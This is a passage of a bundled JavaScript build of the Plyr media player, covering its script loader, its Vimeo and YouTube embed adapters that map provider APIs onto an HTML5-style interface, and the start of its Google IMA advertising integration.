isLegacyIECss = 'hideFocus' in e; // use preload in IE Edge (to detect load errors)
if (isLegacyIECss && e.relList) {
isLegacyIECss = 0;
e.rel = 'preload';
e.as = 'style';
}
} else if (/(^img!|\.(png|gif|jpg|svg|webp)$)/.test(pathname)) {
// image
e = doc.createElement('img');
e.src = pathStripped;
} else {
// javascript
e = doc.createElement('script');
e.src = path;
e.async = async === undefined ? true : async;
}
e.onload = e.onerror = e.onbeforeload = function (ev) {
var result = ev.type[0]; // treat empty stylesheets as failures to get around lack of onerror
// support in IE9-11
if (isLegacyIECss) {
try {
if (!e.sheet.cssText.length) result = 'e';
} catch (x) {
// sheets objects created from load errors don't allow access to
// `cssText` (unless error is Code:18 SecurityError)
if (x.code != 18) result = 'e';
}
} // handle retries in case of load failure
if (result == 'e') {
// increment counter
numTries += 1; // exit function and try again
if (numTries < maxTries) {
return loadFile(path, callbackFn, args, numTries);
}
} else if (e.rel == 'preload' && e.as == 'style') {
// activate preloaded stylesheets
return e.rel = 'stylesheet'; // jshint ignore:line
} // execute callback
callbackFn(path, result, ev.defaultPrevented);
}; // add to document (unless callback returns `false`)
if (beforeCallbackFn(path, e) !== false) doc.head.appendChild(e);
}
/**
* Load multiple files.
* @param {string[]} paths - The file paths
* @param {Function} callbackFn - The callback function
*/
function loadFiles(paths, callbackFn, args) {
// listify paths
paths = paths.push ? paths : [paths];
var numWaiting = paths.length,
x = numWaiting,
pathsNotFound = [],
fn,
i; // define callback function
fn = function fn(path, result, defaultPrevented) {
// handle error
if (result == 'e') pathsNotFound.push(path); // handle beforeload event. If defaultPrevented then that means the load
// will be blocked (ex. Ghostery/ABP on Safari)
if (result == 'b') {
if (defaultPrevented) pathsNotFound.push(path);else return;
}
numWaiting--;
if (!numWaiting) callbackFn(pathsNotFound);
}; // load scripts
for (i = 0; i < x; i++) {
loadFile(paths[i], fn, args);
}
}
/**
* Initiate script load and register bundle.
* @param {(string|string[])} paths - The file paths
* @param {(string|Function|Object)} [arg1] - The (1) bundleId or (2) success
* callback or (3) object literal with success/error arguments, numRetries,
* etc.
* @param {(Function|Object)} [arg2] - The (1) success callback or (2) object
* literal with success/error arguments, numRetries, etc.
*/
function loadjs(paths, arg1, arg2) {
var bundleId, args; // bundleId (if string)
if (arg1 && arg1.trim) bundleId = arg1; // args (default is {})
args = (bundleId ? arg2 : arg1) || {}; // throw error if bundle is already defined
if (bundleId) {
if (bundleId in bundleIdCache) {
throw "LoadJS";
} else {
bundleIdCache[bundleId] = true;
}
}
function loadFn(resolve, reject) {
loadFiles(paths, function (pathsNotFound) {
// execute callbacks
executeCallbacks(args, pathsNotFound); // resolve Promise
if (resolve) {
executeCallbacks({
success: resolve,
error: reject
}, pathsNotFound);
} // publish bundle load event
publish(bundleId, pathsNotFound);
}, args);
}
if (args.returnPromise) return new Promise(loadFn);else loadFn();
}
/**
* Execute callbacks when dependencies have been satisfied.
* @param {(string|string[])} deps - List of bundle ids
* @param {Object} args - success/error arguments
*/
loadjs.ready = function ready(deps, args) {
// subscribe to bundle load event
subscribe(deps, function (depsNotFound) {
// execute callbacks
executeCallbacks(args, depsNotFound);
});
return loadjs;
};
/**
* Manually satisfy bundle dependencies.
* @param {string} bundleId - The bundle id
*/
loadjs.done = function done(bundleId) {
publish(bundleId, []);
};
/**
* Reset loadjs dependencies statuses
*/
loadjs.reset = function reset() {
bundleIdCache = {};
bundleResultCache = {};
bundleCallbackQueue = {};
};
/**
* Determine if bundle has already been defined
* @param String} bundleId - The bundle id
*/
loadjs.isDefined = function isDefined(bundleId) {
return bundleId in bundleIdCache;
}; // export
return loadjs;
});
});
function loadScript(url) {
return new Promise(function (resolve, reject) {
loadjs_umd(url, {
success: resolve,
error: reject
});
});
}
function parseId(url) {
if (is$1.empty(url)) {
return null;
}
if (is$1.number(Number(url))) {
return url;
}
var regex = /^.*(vimeo.com\/|video\/)(\d+).*/;
return url.match(regex) ? RegExp.$2 : url;
} // Set playback state and trigger change (only on actual change)
function assurePlaybackState(play) {
if (play && !this.embed.hasPlayed) {
this.embed.hasPlayed = true;
}
if (this.media.paused === play) {
this.media.paused = !play;
triggerEvent.call(this, this.media, play ? 'play' : 'pause');
}
}
var vimeo = {
setup: function setup() {
var player = this; // Add embed class for responsive
toggleClass(player.elements.wrapper, player.config.classNames.embed, true); // Set speed options from config
player.options.speed = player.config.speed.options; // Set intial ratio
setAspectRatio.call(player); // Load the SDK if not already
if (!is$1.object(window.Vimeo)) {
loadScript(player.config.urls.vimeo.sdk).then(function () {
vimeo.ready.call(player);
}).catch(function (error) {
player.debug.warn('Vimeo SDK (player.js) failed to load', error);
});
} else {
vimeo.ready.call(player);
}
},
// API Ready
ready: function ready() {
var _this = this;
var player = this;
var config = player.config.vimeo;
var premium = config.premium,
referrerPolicy = config.referrerPolicy,
frameParams = _objectWithoutProperties(config, ["premium", "referrerPolicy"]); // If the owner has a pro or premium account then we can hide controls etc
if (premium) {
Object.assign(frameParams, {
controls: false,
sidedock: false
});
} // Get Vimeo params for the iframe
var params = buildUrlParams(_objectSpread2({
loop: player.config.loop.active,
autoplay: player.autoplay,
muted: player.muted,
gesture: 'media',
playsinline: !this.config.fullscreen.iosNative
}, frameParams)); // Get the source URL or ID
var source = player.media.getAttribute('src'); // Get from <div> if needed
if (is$1.empty(source)) {
source = player.media.getAttribute(player.config.attributes.embed.id);
}
var id = parseId(source); // Build an iframe
var iframe = createElement('iframe');
var src = format(player.config.urls.vimeo.iframe, id, params);
iframe.setAttribute('src', src);
iframe.setAttribute('allowfullscreen', '');
iframe.setAttribute('allow', ['autoplay', 'fullscreen', 'picture-in-picture'].join('; ')); // Set the referrer policy if required
if (!is$1.empty(referrerPolicy)) {
iframe.setAttribute('referrerPolicy', referrerPolicy);
} // Inject the package
if (premium || !config.customControls) {
iframe.setAttribute('data-poster', player.poster);
player.media = replaceElement(iframe, player.media);
} else {
var wrapper = createElement('div', {
class: player.config.classNames.embedContainer,
'data-poster': player.poster
});
wrapper.appendChild(iframe);
player.media = replaceElement(wrapper, player.media);
} // Get poster image
if (!config.customControls) {
fetch(format(player.config.urls.vimeo.api, src)).then(function (response) {
if (is$1.empty(response) || !response.thumbnail_url) {
return;
} // Set and show poster
ui.setPoster.call(player, response.thumbnail_url).catch(function () {});
});
} // Setup instance
// https://github.com/vimeo/player.js
player.embed = new window.Vimeo.Player(iframe, {
autopause: player.config.autopause,
muted: player.muted
});
player.media.paused = true;
player.media.currentTime = 0; // Disable native text track rendering
if (player.supported.ui) {
player.embed.disableTextTrack();
} // Create a faux HTML5 API using the Vimeo API
player.media.play = function () {
assurePlaybackState.call(player, true);
return player.embed.play();
};
player.media.pause = function () {
assurePlaybackState.call(player, false);
return player.embed.pause();
};
player.media.stop = function () {
player.pause();
player.currentTime = 0;
}; // Seeking
var currentTime = player.media.currentTime;
Object.defineProperty(player.media, 'currentTime', {
get: function get() {
return currentTime;
},
set: function set(time) {
// Vimeo will automatically play on seek if the video hasn't been played before
// Get current paused state and volume etc
var embed = player.embed,
media = player.media,
paused = player.paused,
volume = player.volume;
var restorePause = paused && !embed.hasPlayed; // Set seeking state and trigger event
media.seeking = true;
triggerEvent.call(player, media, 'seeking'); // If paused, mute until seek is complete
Promise.resolve(restorePause && embed.setVolume(0)) // Seek
.then(function () {
return embed.setCurrentTime(time);
}) // Restore paused
.then(function () {
return restorePause && embed.pause();
}) // Restore volume
.then(function () {
return restorePause && embed.setVolume(volume);
}).catch(function () {// Do nothing
});
}
}); // Playback speed
var speed = player.config.speed.selected;
Object.defineProperty(player.media, 'playbackRate', {
get: function get() {
return speed;
},
set: function set(input) {
player.embed.setPlaybackRate(input).then(function () {
speed = input;
triggerEvent.call(player, player.media, 'ratechange');
}).catch(function () {
// Cannot set Playback Rate, Video is probably not on Pro account
player.options.speed = [1];
});
}
}); // Volume
var volume = player.config.volume;
Object.defineProperty(player.media, 'volume', {
get: function get() {
return volume;
},
set: function set(input) {
player.embed.setVolume(input).then(function () {
volume = input;
triggerEvent.call(player, player.media, 'volumechange');
});
}
}); // Muted
var muted = player.config.muted;
Object.defineProperty(player.media, 'muted', {
get: function get() {
return muted;
},
set: function set(input) {
var toggle = is$1.boolean(input) ? input : false;
player.embed.setVolume(toggle ? 0 : player.config.volume).then(function () {
muted = toggle;
triggerEvent.call(player, player.media, 'volumechange');
});
}
}); // Loop
var loop = player.config.loop;
Object.defineProperty(player.media, 'loop', {
get: function get() {
return loop;
},
set: function set(input) {
var toggle = is$1.boolean(input) ? input : player.config.loop.active;
player.embed.setLoop(toggle).then(function () {
loop = toggle;
});
}
}); // Source
var currentSrc;
player.embed.getVideoUrl().then(function (value) {
currentSrc = value;
controls.setDownloadUrl.call(player);
}).catch(function (error) {
_this.debug.warn(error);
});
Object.defineProperty(player.media, 'currentSrc', {
get: function get() {
return currentSrc;
}
}); // Ended
Object.defineProperty(player.media, 'ended', {
get: function get() {
return player.currentTime === player.duration;
}
}); // Set aspect ratio based on video size
Promise.all([player.embed.getVideoWidth(), player.embed.getVideoHeight()]).then(function (dimensions) {
var _dimensions = _slicedToArray(dimensions, 2),
width = _dimensions[0],
height = _dimensions[1];
player.embed.ratio = [width, height];
setAspectRatio.call(_this);
}); // Set autopause
player.embed.setAutopause(player.config.autopause).then(function (state) {
player.config.autopause = state;
}); // Get title
player.embed.getVideoTitle().then(function (title) {
player.config.title = title;
ui.setTitle.call(_this);
}); // Get current time
player.embed.getCurrentTime().then(function (value) {
currentTime = value;
triggerEvent.call(player, player.media, 'timeupdate');
}); // Get duration
player.embed.getDuration().then(function (value) {
player.media.duration = value;
triggerEvent.call(player, player.media, 'durationchange');
}); // Get captions
player.embed.getTextTracks().then(function (tracks) {
player.media.textTracks = tracks;
captions.setup.call(player);
});
player.embed.on('cuechange', function (_ref) {
var _ref$cues = _ref.cues,
cues = _ref$cues === void 0 ? [] : _ref$cues;
var strippedCues = cues.map(function (cue) {
return stripHTML(cue.text);
});
captions.updateCues.call(player, strippedCues);
});
player.embed.on('loaded', function () {
// Assure state and events are updated on autoplay
player.embed.getPaused().then(function (paused) {
assurePlaybackState.call(player, !paused);
if (!paused) {
triggerEvent.call(player, player.media, 'playing');
}
});
if (is$1.element(player.embed.element) && player.supported.ui) {
var frame = player.embed.element; // Fix keyboard focus issues
// https://github.com/sampotts/plyr/issues/317
frame.setAttribute('tabindex', -1);
}
});
player.embed.on('bufferstart', function () {
triggerEvent.call(player, player.media, 'waiting');
});
player.embed.on('bufferend', function () {
triggerEvent.call(player, player.media, 'playing');
});
player.embed.on('play', function () {
assurePlaybackState.call(player, true);
triggerEvent.call(player, player.media, 'playing');
});
player.embed.on('pause', function () {
assurePlaybackState.call(player, false);
});
player.embed.on('timeupdate', function (data) {
player.media.seeking = false;
currentTime = data.seconds;
triggerEvent.call(player, player.media, 'timeupdate');
});
player.embed.on('progress', function (data) {
player.media.buffered = data.percent;
triggerEvent.call(player, player.media, 'progress'); // Check all loaded
if (parseInt(data.percent, 10) === 1) {
triggerEvent.call(player, player.media, 'canplaythrough');
} // Get duration as if we do it before load, it gives an incorrect value
// https://github.com/sampotts/plyr/issues/891
player.embed.getDuration().then(function (value) {
if (value !== player.media.duration) {
player.media.duration = value;
triggerEvent.call(player, player.media, 'durationchange');
}
});
});
player.embed.on('seeked', function () {
player.media.seeking = false;
triggerEvent.call(player, player.media, 'seeked');
});
player.embed.on('ended', function () {
player.media.paused = true;
triggerEvent.call(player, player.media, 'ended');
});
player.embed.on('error', function (detail) {
player.media.error = detail;
triggerEvent.call(player, player.media, 'error');
}); // Rebuild UI
if (config.customControls) {
setTimeout(function () {
return ui.build.call(player);
}, 0);
}
}
};
function parseId$1(url) {
if (is$1.empty(url)) {
return null;
}
var regex = /^.*(youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=|&v=)([^#&?]*).*/;
return url.match(regex) ? RegExp.$2 : url;
} // Set playback state and trigger change (only on actual change)
function assurePlaybackState$1(play) {
if (play && !this.embed.hasPlayed) {
this.embed.hasPlayed = true;
}
if (this.media.paused === play) {
this.media.paused = !play;
triggerEvent.call(this, this.media, play ? 'play' : 'pause');
}
}
function getHost$1(config) {
if (config.noCookie) {
return 'https://www.youtube-nocookie.com';
}
if (window.location.protocol === 'http:') {
return 'http://www.youtube.com';
} // Use YouTube's default
return undefined;
}
var youtube = {
setup: function setup() {
var _this = this;
// Add embed class for responsive
toggleClass(this.elements.wrapper, this.config.classNames.embed, true); // Setup API
if (is$1.object(window.YT) && is$1.function(window.YT.Player)) {
youtube.ready.call(this);
} else {
// Reference current global callback
var callback = window.onYouTubeIframeAPIReady; // Set callback to process queue
window.onYouTubeIframeAPIReady = function () {
// Call global callback if set
if (is$1.function(callback)) {
callback();
}
youtube.ready.call(_this);
}; // Load the SDK
loadScript(this.config.urls.youtube.sdk).catch(function (error) {
_this.debug.warn('YouTube API failed to load', error);
});
}
},
// Get the media title
getTitle: function getTitle(videoId) {
var _this2 = this;
var url = format(this.config.urls.youtube.api, videoId);
fetch(url).then(function (data) {
if (is$1.object(data)) {
var title = data.title,
height = data.height,
width = data.width; // Set title
_this2.config.title = title;
ui.setTitle.call(_this2); // Set aspect ratio
_this2.embed.ratio = [width, height];
}
setAspectRatio.call(_this2);
}).catch(function () {
// Set aspect ratio
setAspectRatio.call(_this2);
});
},
// API ready
ready: function ready() {
var player = this;
var config = player.config.youtube; // Ignore already setup (race condition)
var currentId = player.media && player.media.getAttribute('id');
if (!is$1.empty(currentId) && currentId.startsWith('youtube-')) {
return;
} // Get the source URL or ID
var source = player.media.getAttribute('src'); // Get from <div> if needed
if (is$1.empty(source)) {
source = player.media.getAttribute(this.config.attributes.embed.id);
} // Replace the <iframe> with a <div> due to YouTube API issues
var videoId = parseId$1(source);
var id = generateId(player.provider); // Replace media element
var container = createElement('div', {
id: id,
'data-poster': config.customControls ? player.poster : undefined
});
player.media = replaceElement(container, player.media); // Only load the poster when using custom controls
if (config.customControls) {
var posterSrc = function posterSrc(s) {
return "https://i.ytimg.com/vi/".concat(videoId, "/").concat(s, "default.jpg");
}; // Check thumbnail images in order of quality, but reject fallback thumbnails (120px wide)
loadImage(posterSrc('maxres'), 121) // Higest quality and unpadded
.catch(function () {
return loadImage(posterSrc('sd'), 121);
}) // 480p padded 4:3
.catch(function () {
return loadImage(posterSrc('hq'));
}) // 360p padded 4:3. Always exists
.then(function (image) {
return ui.setPoster.call(player, image.src);
}).then(function (src) {
// If the image is padded, use background-size "cover" instead (like youtube does too with their posters)
if (!src.includes('maxres')) {
player.elements.poster.style.backgroundSize = 'cover';
}
}).catch(function () {});
} // Setup instance
// https://developers.google.com/youtube/iframe_api_reference
player.embed = new window.YT.Player(player.media, {
videoId: videoId,
host: getHost$1(config),
playerVars: extend({}, {
// Autoplay
autoplay: player.config.autoplay ? 1 : 0,
// iframe interface language
hl: player.config.hl,
// Only show controls if not fully supported or opted out
controls: player.supported.ui && config.customControls ? 0 : 1,
// Disable keyboard as we handle it
disablekb: 1,
// Allow iOS inline playback
playsinline: !player.config.fullscreen.iosNative ? 1 : 0,
// Captions are flaky on YouTube
cc_load_policy: player.captions.active ? 1 : 0,
cc_lang_pref: player.config.captions.language,
// Tracking for stats
widget_referrer: window ? window.location.href : null
}, config),
events: {
onError: function onError(event) {
// YouTube may fire onError twice, so only handle it once
if (!player.media.error) {
var code = event.data; // Messages copied from https://developers.google.com/youtube/iframe_api_reference#onError
var message = {
2: 'The request contains an invalid parameter value. For example, this error occurs if you specify a video ID that does not have 11 characters, or if the video ID contains invalid characters, such as exclamation points or asterisks.',
5: 'The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.',
100: 'The video requested was not found. This error occurs when a video has been removed (for any reason) or has been marked as private.',
101: 'The owner of the requested video does not allow it to be played in embedded players.',
150: 'The owner of the requested video does not allow it to be played in embedded players.'
}[code] || 'An unknown error occured';
player.media.error = {
code: code,
message: message
};
triggerEvent.call(player, player.media, 'error');
}
},
onPlaybackRateChange: function onPlaybackRateChange(event) {
// Get the instance
var instance = event.target; // Get current speed
player.media.playbackRate = instance.getPlaybackRate();
triggerEvent.call(player, player.media, 'ratechange');
},
onReady: function onReady(event) {
// Bail if onReady has already been called. See issue #1108
if (is$1.function(player.media.play)) {
return;
} // Get the instance
var instance = event.target; // Get the title
youtube.getTitle.call(player, videoId); // Create a faux HTML5 API using the YouTube API
player.media.play = function () {
assurePlaybackState$1.call(player, true);
instance.playVideo();
};
player.media.pause = function () {
assurePlaybackState$1.call(player, false);
instance.pauseVideo();
};
player.media.stop = function () {
instance.stopVideo();
};
player.media.duration = instance.getDuration();
player.media.paused = true; // Seeking
player.media.currentTime = 0;
Object.defineProperty(player.media, 'currentTime', {
get: function get() {
return Number(instance.getCurrentTime());
},
set: function set(time) {
// If paused and never played, mute audio preventively (YouTube starts playing on seek if the video hasn't been played yet).
if (player.paused && !player.embed.hasPlayed) {
player.embed.mute();
} // Set seeking state and trigger event
player.media.seeking = true;
triggerEvent.call(player, player.media, 'seeking'); // Seek after events sent
instance.seekTo(time);
}
}); // Playback speed
Object.defineProperty(player.media, 'playbackRate', {
get: function get() {
return instance.getPlaybackRate();
},
set: function set(input) {
instance.setPlaybackRate(input);
}
}); // Volume
var volume = player.config.volume;
Object.defineProperty(player.media, 'volume', {
get: function get() {
return volume;
},
set: function set(input) {
volume = input;
instance.setVolume(volume * 100);
triggerEvent.call(player, player.media, 'volumechange');
}
}); // Muted
var muted = player.config.muted;
Object.defineProperty(player.media, 'muted', {
get: function get() {
return muted;
},
set: function set(input) {
var toggle = is$1.boolean(input) ? input : muted;
muted = toggle;
instance[toggle ? 'mute' : 'unMute']();
instance.setVolume(volume * 100);
triggerEvent.call(player, player.media, 'volumechange');
}
}); // Source
Object.defineProperty(player.media, 'currentSrc', {
get: function get() {
return instance.getVideoUrl();
}
}); // Ended
Object.defineProperty(player.media, 'ended', {
get: function get() {
return player.currentTime === player.duration;
}
}); // Get available speeds
var speeds = instance.getAvailablePlaybackRates(); // Filter based on config
player.options.speed = speeds.filter(function (s) {
return player.config.speed.options.includes(s);
}); // Set the tabindex to avoid focus entering iframe
if (player.supported.ui && config.customControls) {
player.media.setAttribute('tabindex', -1);
}
triggerEvent.call(player, player.media, 'timeupdate');
triggerEvent.call(player, player.media, 'durationchange'); // Reset timer
clearInterval(player.timers.buffering); // Setup buffering
player.timers.buffering = setInterval(function () {
// Get loaded % from YouTube
player.media.buffered = instance.getVideoLoadedFraction(); // Trigger progress only when we actually buffer something
if (player.media.lastBuffered === null || player.media.lastBuffered < player.media.buffered) {
triggerEvent.call(player, player.media, 'progress');
} // Set last buffer point
player.media.lastBuffered = player.media.buffered; // Bail if we're at 100%
if (player.media.buffered === 1) {
clearInterval(player.timers.buffering); // Trigger event
triggerEvent.call(player, player.media, 'canplaythrough');
}
}, 200); // Rebuild UI
if (config.customControls) {
setTimeout(function () {
return ui.build.call(player);
}, 50);
}
},
onStateChange: function onStateChange(event) {
// Get the instance
var instance = event.target; // Reset timer
clearInterval(player.timers.playing);
var seeked = player.media.seeking && [1, 2].includes(event.data);
if (seeked) {
// Unset seeking and fire seeked event
player.media.seeking = false;
triggerEvent.call(player, player.media, 'seeked');
} // Handle events
// -1 Unstarted
// 0 Ended
// 1 Playing
// 2 Paused
// 3 Buffering
// 5 Video cued
switch (event.data) {
case -1:
// Update scrubber
triggerEvent.call(player, player.media, 'timeupdate'); // Get loaded % from YouTube
player.media.buffered = instance.getVideoLoadedFraction();
triggerEvent.call(player, player.media, 'progress');
break;
case 0:
assurePlaybackState$1.call(player, false); // YouTube doesn't support loop for a single video, so mimick it.
if (player.media.loop) {
// YouTube needs a call to `stopVideo` before playing again
instance.stopVideo();
instance.playVideo();
} else {
triggerEvent.call(player, player.media, 'ended');
}
break;
case 1:
// Restore paused state (YouTube starts playing on seek if the video hasn't been played yet)
if (config.customControls && !player.config.autoplay && player.media.paused && !player.embed.hasPlayed) {
player.media.pause();
} else {
assurePlaybackState$1.call(player, true);
triggerEvent.call(player, player.media, 'playing'); // Poll to get playback progress
player.timers.playing = setInterval(function () {
triggerEvent.call(player, player.media, 'timeupdate');
}, 50); // Check duration again due to YouTube bug
// https://github.com/sampotts/plyr/issues/374
// https://code.google.com/p/gdata-issues/issues/detail?id=8690
if (player.media.duration !== instance.getDuration()) {
player.media.duration = instance.getDuration();
triggerEvent.call(player, player.media, 'durationchange');
}
}
break;
case 2:
// Restore audio (YouTube starts playing on seek if the video hasn't been played yet)
if (!player.muted) {
player.embed.unMute();
}
assurePlaybackState$1.call(player, false);
break;
case 3:
// Trigger waiting event to add loading classes to container as the video buffers.
triggerEvent.call(player, player.media, 'waiting');
break;
}
triggerEvent.call(player, player.elements.container, 'statechange', false, {
code: event.data
});
}
}
});
}
};
var media = {
// Setup media
setup: function setup() {
// If there's no media, bail
if (!this.media) {
this.debug.warn('No media element found!');
return;
} // Add type class
toggleClass(this.elements.container, this.config.classNames.type.replace('{0}', this.type), true); // Add provider class
toggleClass(this.elements.container, this.config.classNames.provider.replace('{0}', this.provider), true); // Add video class for embeds
// This will require changes if audio embeds are added
if (this.isEmbed) {
toggleClass(this.elements.container, this.config.classNames.type.replace('{0}', 'video'), true);
} // Inject the player wrapper
if (this.isVideo) {
// Create the wrapper div
this.elements.wrapper = createElement('div', {
class: this.config.classNames.video
}); // Wrap the video in a container
wrap$1(this.media, this.elements.wrapper); // Poster image container
this.elements.poster = createElement('div', {
class: this.config.classNames.poster,
hidden: ''
});
this.elements.wrapper.appendChild(this.elements.poster);
}
if (this.isHTML5) {
html5.setup.call(this);
} else if (this.isYouTube) {
youtube.setup.call(this);
} else if (this.isVimeo) {
vimeo.setup.call(this);
}
}
};
var destroy = function destroy(instance) {
// Destroy our adsManager
if (instance.manager) {
instance.manager.destroy();
} // Destroy our adsManager
if (instance.elements.displayContainer) {
instance.elements.displayContainer.destroy();
}
instance.elements.container.remove();
};
var Ads = /*#__PURE__*/function () {
/**
* Ads constructor.
* @param {Object} player
* @return {Ads}
*/
function Ads(player) {
var _this = this;
_classCallCheck(this, Ads);
_defineProperty(this, "load", function () {
if (!_this.enabled) {
return;
} // Check if the Google IMA3 SDK is loaded or load it ourselves
if (!is$1.object(window.google) || !is$1.object(window.google.ima)) {
loadScript(_this.player.config.urls.googleIMA.sdk).then(function () {
_this.ready();
}).catch(function () {
// Script failed to load or is blocked
_this.trigger('error', new Error('Google IMA SDK failed to load'));
});
} else {
_this.ready();
}
});
_defineProperty(this, "ready", function () {
// Double check we're enabled
if (!_this.enabled) {
destroy(_this);
} // Start ticking our safety timer. If the whole advertisement
// thing doesn't resolve within our set time; we bail
_this.startSafetyTimer(12000, 'ready()'); // Clear the safety timer
_this.managerPromise.then(function () {
_this.clearSafetyTimer('onAdsManagerLoaded()');
}); // Set listeners on the Plyr instance
_this.listeners(); // Setup the IMA SDK
_this.setupIMA();
});
_defineProperty(this, "setupIMA", function () {
// Create the container for our advertisements
_this.elements.container = createElement('div', {
class: _this.player.config.classNames.ads
});
_this.player.elements.container.appendChild(_this.elements.container); // So we can run VPAID2
google.ima.settings.setVpaidMode(google.ima.ImaSdkSettings.VpaidMode.ENABLED); // Set language
google.ima.settings.setLocale(_this.player.config.ads.language); // Set playback for iOS10+
google.ima.settings.setDisableCustomPlaybackForIOS10Plus(_this.player.config.playsinline); // We assume the adContainer is the video container of the plyr element that will house the ads
_this.elements.displayContainer = new google.ima.AdDisplayContainer(_this.elements.container, _this.player.media); // Create ads loader
_this.loader = new google.ima.AdsLoader(_this.elements.displayContainer); // Listen and respond to ads loaded and error events
_this.loader.addEventListener(google.ima.AdsManagerLoadedEvent.Type.ADS_MANAGER_LOADED, function (event) {
return _this.onAdsManagerLoaded(event);
}, false);
_this.loader.addEventListener(google.ima.AdErrorEvent.Type.AD_ERROR, function (error) {
return _this.onAdError(error);
}, false); // Request video ads to be pre-loaded
_this.requestAds();
});
_defineProperty(this, "requestAds", function () {
var container = _this.player.elements.container;
try {
// Request video ads
var request = new google.ima.AdsRequest();
request.adTagUrl = _this.tagUrl; // Specify the linear and nonlinear slot sizes. This helps the SDK
// to select the correct creative if multiple are returned
request.linearAdSlotWidth = container.offsetWidth;
request.linearAdSlotHeight = container.offsetHeight;
request.nonLinearAdSlotWidth = container.offsetWidth;
request.nonLinearAdSlotHeight = container.offsetHeight; // We only overlay ads as we only support video.
request.forceNonLinearFullSlot = false; // Mute based on current state
request.setAdWillPlayMuted(!_this.player.muted);
_this.loader.requestAds(request);
} catch (e) {
_this.onAdError(e);
}
});
_defineProperty(this, "pollCountdown", function () {
var start = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
if (!start) {
clearInterval(_this.countdownTimer);
_this.elements.container.removeAttribute('data-badge-text');
return;
}
var update = function update() {
var time = formatTime(Math.max(_this.manager.getRemainingTime(), 0));
var label = "".concat(i18n.get('advertisement', _this.player.config), " - ").concat(time);
_this.elements.container.setAttribute('data-badge-text', label);
};
_this.countdownTimer = setInterval(update, 100);
});
_defineProperty(this, "onAdsManagerLoaded", function (event) {
// Load could occur after a source change (race condition)
if (!_this.enabled) {
return;
} // Get the ads manager
var settings = new google.ima.AdsRenderingSettings(); // Tell the SDK to save and restore content video state on our behalf
settings.restoreCustomPlaybackStateOnAdBreakComplete = true;
settings.enablePreloading = true; // The SDK is polling currentTime on the contentPlayback. And needs a duration
// so it can determine when to start the mid- and post-roll
_this.manager = event.getAdsManager(_this.player, settings); // Get the cue points for any mid-rolls by filtering out the pre- and post-roll
_this.cuePoints = _this.manager.getCuePoints(); // Add listeners to the required events
// Advertisement error events
_this.manager.addEventListener(google.ima.AdErrorEvent.Type.AD_ERROR, function (error) {
return _this.onAdError(error);
}); // Advertisement regular events
Object.keys(google.ima.AdEvent.Type).forEach(function (type) {
_this.manager.addEventListener(google.ima.AdEvent.Type[type], function (e) {
return _this.onAdEvent(e);
});
}); // Resolve our adsManager
_this.trigger('loaded');
});
_defineProperty(this, "addCuePoints", function () {
// Add advertisement cue's within the time line if available
if (!is$1.empty(_this.cuePoints)) {
_this.cuePoints.forEach(function (cuePoint) {
if (cuePoint !== 0 && cuePoint !== -1 && cuePoint < _this.player.duration) {
var seekElement = _this.player.elements.progress;
if (is$1.element(seekElement)) {
var cuePercentage = 100 / _this.player.duration * cuePoint;
var cue = createElement('span', {
class: _this.player.config.classNames.cues
});
cue.style.left = "".concat(cuePercentage.toString(), "%");
seekElement.appendChild(cue);
}
}
});
}
});
_defineProperty(this, "onAdEvent", function (event) {
var container = _this.player.elements.container; // Retrieve the ad from the event. Some events (e.g. ALL_ADS_COMPLETED)
// don't have ad object associated
var ad = event.getAd();
var adData = event.getAdData(); // Proxy event
var dispatchEvent = function dispatchEvent(type) {
triggerEvent.call(_this.player, _this.player.media, "ads".concat(type.replace(/_/g, '').toLowerCase()));
}; // Bubble the event
dispatchEvent(event.type);
switch (event.type) {
case google.ima.AdEvent.Type.LOADED:
// This is the first event sent for an ad - it is possible to determine whether the
// ad is a video ad or an overlay
_this.trigger('loaded'); // Start countdown
_this.pollCountdown(true);
if (!ad.isLinear()) {
// Position AdDisplayContainer correctly for overlay
ad.width = container.offsetWidth;
ad.height = container.offsetHeight;
} // console.info('Ad type: ' + event.getAd().getAdPodInfo().getPodIndex());
// console.info('Ad time: ' + event.getAd().getAdPodInfo().getTimeOffset());
break;
case google.ima.AdEvent.Type.STARTED:
// Set volume to match player
_this.manager.setVolume(_this.player.volume);
break;
case google.ima.AdEvent.Type.ALL_ADS_COMPLETED:
// All ads for the current videos are done. We can now request new advertisements
// in case the video is re-played
// TODO: Example for what happens when a next video in a playlist would be loaded.
// So here we load a new video when all ads are done.
// Then we load new ads within a new adsManager. When the video
// Is started - after - the ads are loaded, then we get ads.
// You can also easily test cancelling and reloading by running
// player.ads.cancel() and player.ads.play from the console I guess.
// this.player.source = {
// type: 'video',
// title: 'View From A Blue Moon',
// sources: [{
// src:
// 'https://cdn.plyr.io/static/demo/View_From_A_Blue_Moon_Trailer-HD.mp4', type:
// 'video/mp4', }], poster:
// 'https://cdn.plyr.io/static/demo/View_From_A_Blue_Moon_Trailer-HD.jpg', tracks:
// [ { kind: 'captions', label: 'English', srclang: 'en', src:
// 'https://cdn.plyr.io/static/demo/View_From_A_Blue_Moon_Trailer-HD.en.vtt',
// default: true, }, { kind: 'captions', label: 'French', srclang: 'fr', src:
// 'https://cdn.plyr.io/static/demo/View_From_A_Blue_Moon_Trailer-HD.fr.vtt', }, ],
// };
// TODO: So there is still this thing where a video should only be allowed to start
// playing when the IMA SDK is ready or has failed
if (_this.player.ended) {
_this.loadAds();
} else {
// The SDK won't allow new ads to be called without receiving a contentComplete()
_this.loader.contentComplete();
}
break;
case google.ima.AdEvent.Type.CONTENT_PAUSE_REQUESTED:
// This event indicates the ad has started - the video player can adjust the UI,
// for example display a pause button and remaining time. Fired when content should
// be paused. This usually happens right before an ad is about to cover the content
_this.pauseContent();
break;
case google.ima.AdEvent.Type.CONTENT_RESUME_REQUESTED:
// This event indicates the ad has finished - the video player can perform
// appropriate UI actions, such as removing the timer for remaining time detection.
// Fired when content should be resumed. This usually happens when an ad finishes
// or collapses
_this.pollCountdown();
_this.resumeContent();
break;
case google.ima.AdEvent.Type.LOG:
if (adData.adError) {
_this.player.debug.warn("Non-fatal ad error: ".concat(adData.adError.getMessage()));
}
break;
}
});
_defineProperty(this, "onAdError", function (event) {
_this.cancel();
_this.player.debug.warn('Ads error', event);
});
_defineProperty(this, "listeners", function () {
var container = _this.player.elements.container;
var time;
_this.player.on('canplay', function () {
_this.addCuePoints();
});
_this.player.on('ended', function () {
_this.loader.contentComplete();
});
_this.player.on('timeupdate', function () {
time = _this.player.currentTime;
});
